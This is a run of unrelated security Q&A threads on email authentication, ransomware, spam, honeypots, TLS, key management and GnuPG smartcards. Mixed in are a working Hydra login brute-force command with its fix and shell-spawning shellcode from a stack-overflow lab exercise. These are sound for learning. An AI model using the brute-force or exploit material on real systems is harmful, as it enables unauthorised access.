You're mentioning ARC, which unfortunately requires a bit of trust, so it depends on who signed what. X should have a cryptographic signature from the ARC signer, which might be good enough assuming that comes from Google or something internal to the company, since that means the ARC signer received the message with a valid DKIM signature. It's also possible that the DKIM signature itself, which I assume is what you're seeking, is intact enough (e.g. if you revert any Subject or body alterations to how they looked when X sent the message, it's likely to pass DKIM). If the DKIM signature can't be vetted, you must rely on the ARC signature and therefore you must trust that additional infrastructure.

Armed with ARC from a trusted party or a valid DKIM signature, you can prove at least that the message passed through the DKIM-signing relay with the given DKIM-signed headers (h=…), which should include the Date, To, Subject, From, and a hash of the body (b=…).

For X to prove a DKIM match, all signed portions of the message must be provided unmolested (this includes each header in the h=… part plus the body if there's a b=… part). ARC merely signs the Authentication-Results header, but it's still best if you provide the whole email.

This might be complicated if there's confidential content in the body, but perhaps you can use the body hash instead.


How does ransomware work without admin privileges? Ransomware is injected as a script which encrypts all the data and requires a ransom from us.
We don't have to open the script to execute it. It is self-executing.
How it will be able to access and encrypt all files without admin privilege?
UPDATE
from https://www.trendmicro.com/vinfo/us/security/definition/ransomware

Police ransomware is also notable for infecting user32.DLL, a known critical file. Infecting a critical file can be considered an evasion technique as it can help prevent detection by behavioral monitoring tools due to whitelisting. Additionally, cleaning critical files such as user32.DLL requires extra care as one misstep can crash a system, which could be seen as a possible obstacle for cleaning tools.
The infected user32.DLL performs a chain of routines that ends with the ransomware being loaded. It also locks the infected computer's screen and projects a “ransom” image, similar to previous police ransomware messages.

It doesn't have to access ALL files in order to cause damage.  It only has to encrypt files that the user created and cares about - family photographs, word documents, etc.  The more of the user's files are locked, the worse the damage to the user, and the more likely they'll pay the ransom.

The user account already has all the privilege needed to access his own files.


spam: several secret inboxes targeted at once. risk or coincidence? I have a domain that is only used by me, with several inboxes in the format aep-x-company@domain , where i replace 'company' with wherever i sign up. This way i can detect when someone sells email addresses.

However, since yesterday i am receiving spam on about 10 of them simultaneously.
The source are infected servers, valid headers and everything.
The content contains no links, and no fraud, it is a sequence of unrelated sentences in english. Likely designed to get a low bayes spam ranking.

There is no list of valid inboxes on my mail server, it's just a regex that matches foo-x-bar to foo. I use roundcube as webmail, that can only be accessed through https, and i only use chrome on linux.

Breakdown on what these inboxes are: 2 porn sites, 2 dating sites, 4 publicly visible addresses, 1 dropbox, 1 online shop

Especially dropbox makes me wonder if its really them selling my address or spammers having compromised one of my systems. How would i know? i see nothing unusual on any of them. None of my machines is sending spam, as far as i can see, so that should be a good sign of being clean, i guess. On the other hand i have no idea what the point of that spam is, since all it does is poison bayes.

Given that your email addresses fall under the same pattern, i.e.

  aep-x-company@domain

I would first think of a spam bot that found out that writing to one of those address (randomly created) didn't result in an error message, hence it generated many other emails to similar addresses.

Or it may even be purely random generation, i.e. without checking for error, as you are following a pattern for every address that is not that complicated or unlikely to be generated by a bot.


Scamming explanation I've just received a scam SMS with that invite me to click on a link to check a delivery.
Since I was curious about where it could lead, I opened a VM and set up a VPN, then clicked on the link. After different redirects I ended up on Google. So I'm wondering about the aim of this scam SMS.
Here there the HTTP responses (I obscured the cookies):
HTTP/1.1 302 Found
Server: nginx/1.16.1
Date: Fri, 23 Apr 2021 15:49:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 208
Connection: close
Access-Control-Allow-Origin: *
Location: https://track.drerries.com/8d912287-1150-46dc-8dc5-999464f50468?af=39&no=30-35
Vary: Accept

Found. Redirecting to https://track.drerries.com/8d912287-1150-46dc-8dc5-999464f50468?af=39&amp;no=30-35

HTTP/1.1 200
Server: nginx
Date: Fri, 23 Apr 2021 15:49:27 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, pre-check=0, post-check=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: XXXXXX Expires=Sat, 24-Apr-2021 15:49:27 GMT; Domain=track.drerries.com; Path=/; Secure; HttpOnly;SameSite=None
Set-Cookie: XXXXXX; Max-Age=31536000; Expires=Sat, 23-Apr-2022 15:49:27 GMT; Domain=track.drerries.com; Path=/; Secure; HttpOnly;SameSite=None
Content-Length: 359

<link rel="icon" type="image/gif" href="data:image/gif;base64,R0lGODlhAQABAPAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="/><meta http-equiv="refresh" content="0;URL='https://track.drerries.com:443/redirect?target=BASE64aHR0cDovL2dvb2dsZS5jb20&ts=1619192967438&hash=ogrCi1dIa7dWRxmVYfvbI_C2LDRrEOdTgzbxKxsLjaA&rm=D'" />

HTTP/1.1 200
Server: nginx
Date: Fri, 23 Apr 2021 15:49:36 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 229
Connection: close
Cache-Control: no-store, no-cache, pre-check=0, post-check=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<link rel="icon" type="image/gif" href="data:image/gif;base64,R0lGODlhAQABAPAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="/><meta http-equiv="refresh" content="0;URL='http://google.com'" />

Without being able to see everything that is happening, what other links like this do is to show you Google (or some other benign site), but in passing through other sites, they attempt to compromise your browser and system to install cryptominers or ransomware.
I'd suggest putting it through a malware analysis sandbox, like cuckoo.ee and see what it really does.
I put one of these links through VirusTotal and Cuckoo a couple of years ago to show the difference between a URL scan and sandbox analysis.


False, honeypot like wifi I have set cameras for security at home, because someone broke into my house. As the suspect doesnt want to give up (got a mail from him, lol), I want to find more info about him. Because cameras are probably an obstacle, he would definitely want to disable them. So I thought about setting an false wifi with some name which would refer to access the camera web utility.

The question is: does such utility exist that would bring some info about the attacker? i.E. Device type would be a great info. And would you recommend to enable internet access on the honeypot router, if the attacker would (i hope so) be stupid to login?

Something that may interest you are "googledorks"; these are searches people execute to find various things on the web.  Googling for "googledorks web camera" will give you many signatures that people search for when looking for web cameras on line.  If you were to configure your honeypot to respond to those URLs, you might catch him trying to find your web cams.

To find suitable honeypot software, simply google for "honeypot web cam" and you should turn up several applications you could run.  http://mushmush.org/ has a few specialized open source honeypots, including SNARE and TANNER.  You set up SNARE by running a script that "clones" an existing site; all you should have to do is clone your webcam's access page.  https://zeltser.com/honeypots-for-malware-ssh-web-attacks/ also has a list of honeypot software, but it's getting a little old.

Before you run off and invest in setting up a honeypot, consider what you will do with the information you learn.  Vigilante justice is probably illegal where you live; and most local police won't be interested in a minor computer crime unless there's other evidence to go with it.  And confronting the perpetrator yourself may put you at risk of violence.  Please be careful with the information you obtain.


domain names with email whitelisting We have white-listed full domains and that creates uncertainty i.e. myservice.com

Anyone can send spam mails and we can't block it.

We have white-listed specific emails / IP addresses and there is no immediate concern.

Any idea how we can tackle white-listing of full domains by implementing security best practices?

The sending of SPAM is not necessarily related to whitelisting of domains and IP addresses.

You can get spam from whitelisted domains if users accounts are compromised or if the whitelisted domain is a generic one for many users/organisations.

The use of SPF, DKIM and DMARC (as mentioned by schroeder) enables you to check that email that appears to come from a specific domain actually comes from the servers advertised for that domain. Even that doesn't stop spam as bulk mailers and spammers often use legitimate host domains which will pass those controls.

Email security best practice is to ensure that any point-to-point mail server links you have (lets say with partner organisations) enforce mutual TLS and that you define your own SPF/DKIM/DMARC correctly in your DNS. Reject anything inbound that fails those tests and run good anti-spam software.


Hydra when redirects I'm using Hydra and I have trouble with this command:

hydra 123.123.123.123 http-form-post \
    "/se/login:j_username^USER^&j_password=^PASS^&submit=Log+in:/se/invalidLogin" \
    -L /root/Desktop/users -P /root/Desktop/list`

There are three passwords in the list. One is correct, the others are not.

When the password is incorrect, the user is redirected to /se/invalidLogin.
How can I add this to the above, as the command right now is wrong?
It says every password is valid.

Replace /se/invalidLogin with some page text that's encountered when the login is wrong.

e.g. "Incorrect password"

Hydra will check the text on the redirect target.


Encryption of instructions to and from satellites in space The mars rover, like most other things man has directed into outer space, receives, faithfully executes, and responds to instructions sent to it from its controllers on Earth.

Presumably (and hopefully) it takes more than thorough knowledge of specific communication protocols and sufficient broadcast power to take control of the mars rover, Hubble telescope, or any specific orbiting satellite for that matter.

What manner of security is is place to protect the information going to and from satellites, vessels, and rovers, and how has this security come along throughout history?

Probably not applicable to newer stuff, but historically I think it was big dish and complex custom protocols rather than encryption that "protected" satellite communications.  Consider the case of an older satellite that NASA allowed amateurs to try and connect to, and the obstacles they faced and overcame:

How to talk to a 36-year-old Space Probe

As the primary link is now offline, some relevant snippets:

  Actually, one of the most difficult parts of this project was sifting
  through hundreds and hundreds of pages of specifications from NASA.

  ...

  Now that we had a system that was capable of transmitting correct
  commands to ISEE-3, we had a little bit of guess work to do. There
  were a number uncertainties about the behavior of the space craft
  receiver. Ambiguous specifications on items like receive lock range,
  phase modulation index, and mark/space tones, left us with some
  uncertainties to deal with. Also, a rough link budget showed that we
  should have about 5 dB of margin under ideal circumstances. If we had
  any significant pointing errors, or there were other factors we hadn’t
  accounted for, there was a decent chance that we were operation near
  the best sensitivity of the space craft receiver. This meant we could
  have a marginal link with frequent bit errors.


Should remote access (RDP/SSH) only be allowed for VPN clients? Or should RDP and SSH be opened the public? I am about to push hard against the powers that be and strongly recommend that we shift our many (20+) consultants from direct public access to RDP & SSH to VPN clients (connecting to a VLAN/subnet that has restricted access to only necessary resources).

Given that we have a third-party SOC managing an IDS and monitoring connections, what are the risks of exposing RDP and SSH to the internet that forcing remote access via VPN will solve?

There are two risks that immediately occur to me that would be reduced by using a VPN

You're avoiding the risk that a single vulnerability provides access to your systems.  With straight SSH/RDP a remote code execution vulnerability in the service could allow complete compromise of your environment. With a VPN which then allows access to the service, the attacker would need to compromise the VPN service and the remote access service.
Username/password guessing.  Most base RDP access (and SSH unless you're using key based authentication) is done using username/password combinations.  If you expose this directly on the Internet you run the risk of someone either getting access to the system directly by guessing the creds (and there are lots of bots out their doing password guessing attacks these days) or locking out your users (assuming you have account lockout in place).  VPNs tend to have better support for 2FA, so it's likely to be easier to implement that control with a VPN in use.  Also if you de-couple the logins, at least if they attack the VPN accounts it may not affect the underlying OS logins.


Tool for public key cryptography where password is the private key? Is there any free & open source tool for public key cryptography, where the private key is just a chosen password?

Here is what I need:

I want to make backups every hour using a script
I want to only use  open source tools.
The backups must be encrypted,
I need to be able to decrypt them without any files.

I cannot use symmetric encryption for backups, because the password cannot be given in the script in plaintext, and I cannot be asked each time a backup is made for the password (e.g. because when I'm on 1-month holidays, the backups need to be still made).

So I thought about public key cryptography, but all tools that I read about store the private key in a file. I'm afraid of losing it, just like all other data (that's why I'm doing backups in the first place). Imagine my disk suffers hardware failure, someone steals it, it burns in a fire, etc. Sure, I have backups, but I can't decrypt them without the private key file, which is now lost! Of course I could have backups of my private key file, but I simply don't want to rely on a file to decrypt my data.

I found a solution (at least from mathematical point of view, because I can't find any tool implementing this). Let's say I have my password. Let us generate a pair of prime numbers (p1,p2) using the following function p2rsapk:

(p1,p2) = p2rsapk(password) = {
  bits = password as vector of bits
  (n1,n2) = split bits into two parts in deterministic way, e.g. just take halves
  p1 = find prime based on n1, e.g. lowest prime p1 s.t. p1 > 2^n1-2
  p2 = find prime based on n2
}

Voila! We have just taken a password and turned it into our private/public key pair. Now I could encrypt my backup with the public key (used by the script), and decrypt it when I have to without the need for any private key file (because my password IS my private key with the help of the p2rsapk function).

I could also send my public key to friends, so they can send me encrypted messages, and I can decrypt them from anywhere without the access to my no-longer-needed private key file.

However, while the idea is quite simple, I haven't found any tool that implements it. Is this approach known? And are there tools for this?

EDIT:
I cannot stress enough how important it is for me not to rely on a file as the private key. I am well aware of the approach where one stores private key in a (possibly password-protected) file and its advantages and disadvantages, and I acknowledge that it is the most secure way to go for many scenarios. There are many books, tutorials, and man pages describing how to proceed if one wants the private key in a file. I know about that, but when answering please keep in mind that it is a strict requirement that there is no file for storing the private key.

EDIT2:
I am perfectly aware of the problems with weak passwords. I know the password is the weakest link, so please assume I will use a safe password (minimum 50 characters including lower and uppercase letters, digits, symbols and no dictionary words).

Generating the private key deterministically from a password is known and works; however, it has the following drawback: anybody can then try to brute-force your password, since the public key is public. It suffices to re-run the key generation algorithm from any potential password and see if the result matches the public key.

We rarely want passwords to be on the front line, because we are humans with limited brains, and the passwords we are ready to remember are rather weak. The more common methods of using the password to encrypt the private key file allows to add some level of extra security by managing the locations where a copies of the private key file are kept (you want several copies, because the key must not be lost, but having a copy in safe somewhere is not the same as making it public).

Also, a private key file encrypted with a password can become two private key files , each encrypted with a specific password: this way, two people can potentially open the backups. After all, you worry about losing your data, but if this is in an enterprise setup, your colleagues might worry about losing the data as well -- and, from their point of view, data loss can take the form of you being run over by a bus. In the password-is-private-key configuration, protection against the loss of the password must be sharing the password, which is not very flexible.

If you do want to follow the password-is-private-key road, you will probably have to write your own tool. You would then find it much easier to use an ElGamal key, which is just an integer modulo a given value q (the group order, which is public). The OpenPGP format supports ElGamal keys, so this should be relatively simple to develop with an OpenPGP library, such as GnuPG.


Why do login systems tell users an email address is not in the system? Am I right assuming that by telling an attacker an email is or is not in the system the login is in fact weakened? Meaning if the attacker knows the email is correct he/she in fact already has 50% of the login details, no?

This is one of the trade offs between security and usability.

In a perfectly secure world, you would get a message saying that the login information is incorrect (and not specify the user name/password field), leaving an attack unsure of which field to change for the next attack.  From a usability standpoint, it is a much nicer error to see that the user has typed a password or email address wrong, so the user knows which to check.

Of course, Google's design (Microsoft's Outlook.com is the same way now) means they can't really tell you that either is wrong, just one or other other (by them asking for email and password separately).


Use of HTTP functions in GCP Cloud Functions Is Not Secure. Why they are still available? As Google mentions itself in the documentation,

  the HTTP functions in Cloud Functions have no authentication and are not secure. HTTP functions are unprotected and will respond to any HTTP request, which means anybody on the internet could start and stop your Compute Engine instances.

What is the real use of such HTTP functions then? Why they are available at all?

This is likely because the HTTP functions were the original functionality, and predate the secure Pub/Sub replacement methods.

There are also indirect signs of a deprecation roadmap for some subfeatures:

  Note: The default behavior for HTTP functions will change after January 15, 2020. Currently, new HTTP functions allow unauthenticated invocation by default. New HTTP functions created after January 15, 2020 will require authentication by default. You can specify whether a function allows unauthenticated invocation at or after deployment.


Allow a PA to see a director's emails, but keep some emails private We have a problem with email potentially being viewed by directors PAs, which we need to protect, the situation is as follows:

Director A wants to send an email to Director B, both director A and director B have PAs, who we will call PA A and PA B.

Director A and B both give PA A and B acccess to their mail, so that they can read email and reply for them, create calendar entries etc when necessary, however, there are instances where the directors want to send emails between themselves that the PAs should not be allowed to read.

To further complicate matters, if the directors reply to the emails, we want to ensure that they can't see the replies in sent items etc.

We're running Exchange 2007 servers, outlook 2007/2010 and some of the directors also have ipads (to further complicate matters).

Any ideas as to how we can secure such communications?

I have done this in the past by:

Renaming "Director A" to "Director A (Private)"
Creating a Distribution Group called "Director A" that contains "Director A (Private)" and "PA A"
giving the PA delegate permissions so he can access the "Director A (Private)" calendar and to send mail on behalf of the "Director A" group, but not permission to access the "Director A (Private)" mailbox.

With this arrangement, when people send a mail to Director A, her PA is copied silently; when Director B sends a mail to Director A (Private) the PA doesn't see it.

The key difference between this and Rory's scheme is that the Directors do not need to have two inboxes, which makes things easier for them.

The main problem with this is that if Director A sends Fred a mail and Fred replies, then the PA isn't copied on the reply.


Notification or report for security problem of unix systems? I have Unix systems (Solaris, Oracle,.Redhat etc.). I have to control all systems for security problem,bugs,patch,vulnerabilities.

I'm looking for security information for all security issues.

After that I'll update and check  all  Unix systems.
I need to take notification  for Unix systems or I need admin panel for manage system.
When I searched the web, I found this site: securitytracker.com which sends email notifications for vulnerabilities. Also I need report for latest vulnerabilities, patch and other systems.

Is there any commercial/free alternative to ^securitytracker.com`?

How can I manage this sytems for latest vulnerabilities? Is there any recommendation for this?

One of the services we use to track vulnerabilities is called Cassandra.

You create a profile and then tell it what servers and software you are using and it sends you notifications of vulnerabilities.


How much of an impact will the RC4 cut off make? Quick disclaimer - Student, cryptography is a weak point.

So, can someone explain exactly how this will work?

The way I see is is that if a user is attempting to connect to a server using RC4 only and the server does not support RC4, the connection will be denied.  Currently however, if the server supports RC4 in their cipher suite, the connection will be established.  From what I can understand, browser releases in 2016 will no longer support RC4 only connections, right?

As a base example to build from, if a server is using TLS_RSA_WITH_RC4_128_MD5 in 2016 when the RC4 cutoff passes, who will be affected/what browsers will be affected?

Thanks.

From what I can understand, browser releases in 2016 will no longer support RC4 only connections, right?

Yes. Chrome, Firefox, MS-Edge, MS-IE plan to deprecate

  who will be affected/what browsers will be affected?

About 1000 servers in the Alexa top 500,000 are currently marked RC4 Only.
You won't be able to access these over HTTPS with any modern browser anymore.


Fuzzing shared libraries Are there any tools capable of automatically fuzzing Linux shared libraries, by automatically I mean detect exported function, determine function signature and finally inject random data ?

Can frameworks like Sulley or Peach perform this type fuzzing if we provide it information like function signature ?

LLVM's LibFuzzer might be helpful.  It is a toolkit to help with in-process fuzzing of libraries.

It does not solve the problem of automatically identifying function signatures of each exported function and injecting random data of the appropriate type to each.  Instead, it expects you to write a small test harness of your own that invokes the exported function with data of the appropriate type, so that part you have to do manually.  However, if you do that part manually, it automates the rest of the fuzzing job, using techniques similar to American Fuzzy Lop (the AFL fuzzer).


HSTS implemented but not working? While being connected on a very restricted network, I was only able to access the internet through a Squid proxy which was configured only for HTTP on port 80.

When navigating to google.com, I'm able to receive the site yet with no SSL on.
I checked the HSTS record for google.com at chrome://net-internals/hsts and records exists.

So how come the site is still loading in browser and downgraded to http/80? It's the same as an MITM attack... I thought HSTS would block this.

Proxy rewrite entirely the packets, so depending of proxy's configuration, anything is possible. So, the proxy is doing the ssl connection to the server and is serving you a non-ssl webpage. Maybe is only a cached webpage. Did you try to do some searches on google? Try to search something "weird" what it's suppossed to be uncached to sse if http remains, if yes, it confirms is not only cached web pages but sslstripping.

Is a trusted network? if not, don't surf the web there because your passwords and credentials can be intercepted in plain.

A proxy combined with DNS can bypass HSTS. It's called sslstrip2 or sslstrip+. Look at this or this


Does an open port with no service listening on it pose a risk? I have a home server running Ubuntu 16.04 Server Edition. I have a couple ports that my router forwards to my server and ufw on my server allows so that I can access the services outside the LAN - namely, SSH on a custom port (as the router blocks port 22 for forwarding) and ports 80 and 443 for HTTP and HTTPS for my web server. I want to open a port for development purposes - specifically, port 9991, which is not associated with any particular service/protocol. Most of the time, the development server listening on this port will not be running. However, the router will still forward requests on this port to the server, which will still be allowed by ufw. If there is no service listening on the port, yet it is open to incoming connections, is there a security threat?

In nmap terminology, an "open" port is usually the port where a service is bound on, and listening; otherwise the port is not open.

However, it seems like you are asking about having a port open on firewall. This is, allowing the remote hosts to connect to port 9991 on a server through firewall, even if there is nothing bound on this port and those connection attempts result in refusal. Yet this poses a few risks:

If your server is compromised, one can run an HTTP server on that port, and use it to spread illegal content (such as ransomware binaries, or host C&C server).

More, in the enterprise setup, this compromised server could also be used to infect other machines inside the organization - including those which couldn't connect to Internet - via phishing attacks pointing to this server. This would have a higher chance of success as corporate users might trust internal servers more than external servers.

Finally, making the compromised server easily accessible is much easier when one can simply launch sshd listening on this port.
If someone upgrades the OS on this server, a new version might introduce a service listening on this port. This service might not be secure in the default configuration - for example it might have known default credentials - and result in exploitable vulnerability.


Is there any solution for block the HTTPS traffic using URL filtering? The URL filtering can block the HTTP traffic but not the HTTPS traffic in Internet Explorer.
For example, the website http://www.facebook.com is blocked by the URL filtering while the https://www.facebook.com cannot be blocked.
You cannot also block the HTTPS traffic during InPrivate browsing in Internet Explorer.

Is there any solution for block the HTTPS traffic using URL filtering?

From the outside of SSL, you can only see the server name (client sends it as part of the Server Name Indication extension in the early stages of the SSL handshake; and it also appears in the certificate sent by the server); this may be sufficient to filter out some "URL". E.g. in your example, you can see that the connection is SSL and for www.facebook.com; if you want to block the whole of Facebook, this is sufficient information; the actual URL is not needed.

If you want something more fine-grained, then you need to read the URL itself, which is protected by SSL. For that, you have to break SSL in some way. There are tools which run a Man-in-the-Middle attack on SSL (they rely on the installation of a rogue, filter-controlled root CA in the client system). A well-known commercial tool for that is Blue Coat's ProxySG. There also are open source solutions. In any case, these systems require some sort of privilege access to the client system (extra root CA installation); computer-savvy users will know about it. It can also be said that such tools "break user expectations of privacy" and while they technically work, they may also trigger a toxic climate of defiance on a workplace. Use with care.


Protecting Keys with External Factor I have some symmetrical encryption keys (DEK) stored in the database alongside with the encrypted data. DEK's are encrypted by the public key of the HSM. The application server uses HSM with PKCS11 interface. The key and data decryption is done inside the HSM. Plain text keys never leaves the HSM memory.

Yet I'm concerned about the security. If an attacker manages to break in to the application server, he could just retrieve the encrypted data from the database and query the HSM.

I would like to have "external" component involved in decryption, linked to the user authentication. So even the attacker manages to hijack the server and the database and gets access on the HSM interface, the key material present is not sufficient. The encryption protocol should contain component which only authorized user knows or haves, but this knowledge is not stored anywhere and is not derivable. There is also a challenge: the key is actually related to the group of the user, not the identity. This means different users of same group must have access to the same key.

Well, if you plan on having this per-user, I see no other way then to store a separate DEK for each user. You can then use a variety of ways to encrypt this DEK.

One idea would be to use the password to derive the key for decrypting the DEK. Of course this has to be derived in a different way than the hash of the password stored in the DB, for example by prepending "key-" in front of the password.

Another option is to user something like SCRAM-256 and then use for example Client-Key to encrypt the DEK (client key is not stored on the server in SCRAM).

Another option of course would be just keeping an additional key stored on the user computer, but this has the disadvantage of the user having to protect and backup this file.


Where do TLS clients fetch intermediate CA certificates from? When I use my browser (a TLS client) to navigate to a secure web page (e.g. https://example.com), during the TLS handshake, the browser will receive an end-entity certificate from the web server of example.com. It'll most likely be signed by an intermediate CA, using its private key. To verify this signature, the browser must have the intermediate CA's public key, and thus certificate. Since this intermediate CA certificate is not in the browser's or the OS's root store, the browser must fetch it from somewhere.

My question is - where do TLS clients, like my browser, fetch intermediate CA certificates from? And how can they do it securely?

They are all sent together by the server

All certificates, except for the root certificate, are sent together as one bundle.

Technically, you may include the root certificate as well, but it will be ignored by the client.

If the server only sends the "leaf" certificate, then it depends on the browser if they are able to somehow get the missing intermediate certificates. One way, for instance, is for them to cache intermediate certificates from previous connections. Chrome uses the Authority Information Access extension to locate missing intermediate certificates that way.

If all of these attempts fail, and the intermediate certificates are not available, then the certificate verification will fail.


What is the relationship between cookies and anonymity? If you are using a vpn for anonymity you can allow cookies when you surf the internet but you must delete them once you close the browser to get complete anonymity. Is this correct?

Or is it that just allowing cookies removes anonymity?

First, you don't get complete anonymity just by using a VPN in the first place. A VPN will only reduce the tracking surface but not remove it. Similar removing cookies will only reduce the tracking surface further but not remove it too. There are still enough cached information in the browser outside of cookies and these can be used to track you. Removing the browser profile completely will remove these traces but it will for example not help against fingerprinting your based on some system properties from within the browser.

In short, removing cookies will help a bit - but only a bit.


How many security holes were discovered in the original version of Windows XP? In order to steer our future, it is important to understand our past. Now as the end of Windows XP draws near it would be interesting to see how the worlds most popular operating system fared security-wise. Specifically, how many known vulnerabilities were present in the original RTM version of Windows XP?

In total, across all service packs, there were 721 KNOWN vulnerabilities.


Exploit education stack-five: trouble opening shell Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve('/bin/sh') through shellcode. I grabbed the shellcode from shellstorm (http://shell-storm.org/shellcode/files/shellcode-603.php).
The shellcode consists of:
[NOP slide]
(debug int3 \xcc)
"\x48\x31\xd2"                                  // xor    %rdx, %rdx
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov  $0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
"\x53"                                          // push   %rbx
"\x48\x89\xe7"                                  // mov    %rsp, %rdi
"\x50"                                          // push   %rax
"\x57"                                          // push   %rdi
"\x48\x89\xe6"                                  // mov    %rsp, %rsi
"\xb0\x3b"                                      // mov    $0x3b, %al
"\x0f\x05";                                     // syscall
(debug int3 \xcc)
[padding]
[override rip pointing to the middle of the NOP slide]

I have tested int3's before and after the shellcode and all seems fine, they both trigger outside and inside gdb and therefore I infer that the shellcode is being executed but i cannot get the shell open.
I'm using this commands:
cat | /opt/phoenix/amd64/stack-five < exploit

cat exploit - | /opt/phoenix/amd64/stack-five

Neither of them gets the shell.
Example of execution
user@phoenix-amd64:~$ cat exploit - | /opt/phoenix/amd64/stack-five
cat exploit - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
[ 7018.986649] traps: stack-five[433] trap int3 ip:7fffffffe68e sp:7fffffffe6c8 error:0
whoami
Trace/breakpoint trap

This int3 is AFTER the shellcode.
Some idea of what's wrong?

Ideally you would want a precise gadget, like jmp esp, not a fixed stack address and NOP sled.
Having an int 3 breakpoint \xcc in your shellcode when running it outside of gdb will terminate execution at that point and prevent your shell code from running.
I haven't done this challenge, but you didn't say that you had verified that the shell code loads correctly in memory. Sometimes the way the program handles data there are some bytes that should be avoided (bad bytes). Looking at the source code that doesn't seem like the likely cause, but its a good habit to get into.
Sometimes you may also need to shift esp away from the payload to avoid corruption.
You can step through the shellcode using gdb to ensure that the shell code does not get corrupted and that the registers are all setup correctly and you fire the syscall.


How to use multiple smart cards with gnupg? I have two smart cards: SCard1 and SCard2. The same keys are stored on both of them.

One of the feature I use the most is SSH authentication to access multiple servers. But I cannot use the second one after having used the first
both of the smart cards (not simultaneously) on the same computer.

The following message is displayed:

  Please remove the current card and insert the one with serial number
  [a long ID containing the SCard1 identification number]

Steps to reproduce the issue

Let's prepare a clean environment.

$ export GNUPGHOME=/tmp/gnupg
$ mkdir /tmp/gnupg && chmod go-rwx /tmp/gnupg
$ curl [public key URL] | gpg --import
gpg: keybox '/tmp/gnupg/pubring.kbx' created
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6194  100  6194    0     0   2408      0  0:00:02  0:00:02 --:--:--  2408
gpg: /tmp/gnupg/trustdb.gpg: trustdb created
gpg: key 3D5DDE26A0B55831: public key imported
gpg: Total number processed: 1
gpg:               imported: 1

With SCard1 plugged

Then I insert my SCard 1.

$ ls /tmp/gnupg/private-keys-v1.d/
$ gpg --card-status
Reader ...........: Yubico Yubikey 4 OTP U2F CCID 00 00
Application ID ...: [SCard1 identification number]
blahblah
ssb>  rsa2048/467299D324A21B24  created: 2017-01-10  expires: 2018-01-10
                                card-no: [SCard1 identification number]
ssb>  rsa2048/11771A79F4B85B41  created: 2017-01-10  expires: 2018-01-10
                                card-no: [SCard1 identification number]
ssb>  rsa2048/F31D41149A84B062  created: 2017-01-10  expires: 2018-01-10
                                card-no: [SCard1 identification number]

The last key is used for authentication.

$ ls /tmp/gnupg/private-keys-v1.d/
somehash1.key somehash2.key somehash.3.key

I guess those hashes come from the keys I've stored on my smart card.

$ gpg -K
/tmp/gnupg/pubring.kbx
sec#  rsa4096 2017-01-10 [SC] [expires: 2019-01-10]
      [primary key ]
ssb>  rsa2048 2017-01-10 [S] [expires: 2018-01-10]
ssb>  rsa2048 2017-01-10 [E] [expires: 2018-01-10]
ssb>  rsa2048 2017-01-10 [A] [expires: 2018-01-10]
$ ssh example.com hostname
*** asked to enter pin
example.com

Everything works as expected.

With SCard2 plugged

Let's unplug SCard1 and plug SCard2.

$ ssh example.com hostname

And the following message is displayed:

  Please remove the current card and insert the one with serial number
  [a long ID containing the SCard1 identification number]

Please note I've got the same result when I insert first SCard2, and then SCard1.

Part of a solution

Some searching on the Internet made me understand that the "key stubs" are stored in ~/.gnupg/private-keys-v1.d/. Deleting the whole directory solved the problem. Maybe just deleting one of the .key would do the trick.

The question

Is it possible to use both of the keys without deleting any file?

With gpg --with-keygrip -K you will get the keygrip identifiers for your keys. These ids correspond to the keystubs in the private-keys directory.

In case you have 3 subkeys (encryption, signing and authentication) you will have three files in GNUPGHOME/private-keys-v1.d (~/.gnupg/private-keys-v1.d on linux).

When using different smartcards with the same keys on it, the identifiers will be the same, but the binary contents of the file will differ.

Deleting is an option, but you might inadvertedly delete other private key stubs as well.

Another option is to make a backup and switch them out every time you switch cards (<id>.key.card1 and <id>.key.card2 will be copied to the current/active <id>.key file).

The best option to do this seamlessly is to use udev as suggested by @Jens Erat.
On addition of the smartcard, backup the current keystubs (<id>.key.<cardid>) and recreate (or copy back to <id>.key in case of an existing backup) the keystubs you want. Recreation is as easy as running gpg --card-status.

How to set this up with udev:

run udevadm monitor --environment'
now add the smartcard and watch the output so you can build a match
build the matching rule (so it matches once) and RUN a script on addition.
reference a script from the udev rule to make the magic happen (detach the script)

The next example is for the yubikey 5 in /etc/udev/rules.d/99-gpg-smartcard.rules:

    # /etc/udev/rules.d/99-gpg-smartcard.rules
    # helpful commands:
    # udevadm monitor --environment --udev --kernel
    # udevadm info -a -n <device-path>
    # udevadm test $(udevadm info -q path -n device_name) 2>&1
    # udevadm control --log-priority=debug
    # udevadm control --reload-rules && udevadm trigger
    SUBSYSTEM=="usb", ACTION=="add", \
    ATTRS{idProduct}=="0407", ATTRS{idVendor}=="1050" ,  \
    ATTRS{manufacturer}=="Yubico", ATTRS{product}=="YubiKey OTP+FIDO+CCID", \
    SYMLINK+="yubikey",  \
    RUN+="/usr/bin/at now -f /home/USER/bin/gpg-smartcard.txt"

        # Since nested quotes are not possible in RUN (outer double quotes
        # and inner single quotes) and cannot be escaped, we need to make sure
        # there are no nested quotes.
        # Furthermore, we need to detach our script from udevd for it to be able
        # to use the device (smartcard), since the RUN command
        # is blocking the daemon and the device is not yet ready, therefore we
        # are using the 'at' command to completely detach the job from udevd.
        # Since we need to use 'su' with the correct USER in the command
        # and multiple arguments (/bin/bash with the scriptname)
        # we cannot use the full command here when using 'echo' to
        # pipe it to 'at'.
        # So we are stuck reading the command from a textfile when using 'at'.
        # In the textfile is the following command:
        # su -l USER -c "/bin/bash /home/USER/bin/gpg-smartcard.sh"

in /home/USER/gpg-smartcard.txt

su -l USER -c "/bin/bash /home/USER/bin/gpg-smartcard.sh"

